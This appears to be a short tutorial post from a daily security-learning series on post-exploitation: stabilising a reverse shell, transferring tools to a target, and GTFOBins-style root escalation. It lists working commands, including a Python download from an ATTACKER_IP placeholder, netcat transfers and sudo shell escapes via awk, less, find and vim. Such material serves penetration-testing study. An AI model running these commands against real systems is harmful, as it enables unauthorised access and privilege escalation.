Day 15: The Post-Exploit Workflow — Stabilization & Escalation 🛡️ published: true

🛠️ Step 1: Shell Stabilization (The TTY Upgrade)

Most reverse shells start as "dumb shells." Here is the standard protocol to upgrade them:

1. Inside the reverse shell: python3 -c 'import pty; pty.spawn("/bin/bash")'
2. Hit Ctrl + Z to background the shell.
3. On your local machine: stty raw -echo; fg
4. Back in the shell: export TERM=xterm

Now you have Tab-completion, arrow keys, and a stable environment!

📦 Step 2: Tool Transfer (Without wget/curl)

If the target machine is stripped of downloaders, use Python or Netcat:

• Python Downloader: python3 -c "import urllib.request; urllib.request.urlretrieve('http://ATTACKER_IP:8000/file','file')"
• Netcat Transfer: Target: nc -lp 4444 > file Attacker: nc TARGET_IP 4444 < file

🔓 Step 3: Escalating to Root (The GTFOBins Checklist)

When you see a binary in sudo -l or SUID find, look for shell escape patterns:

Binary	Escalation Command	Why it works
awk	sudo awk 'BEGIN {system("/bin/sh")}'	System execution
less	sudo less /etc/passwd (then type !sh)	Shell escape
find	find . -exec /bin/sh \; -quit	Exec feature
vim	sudo vim (then type :!sh)	Interactive escape

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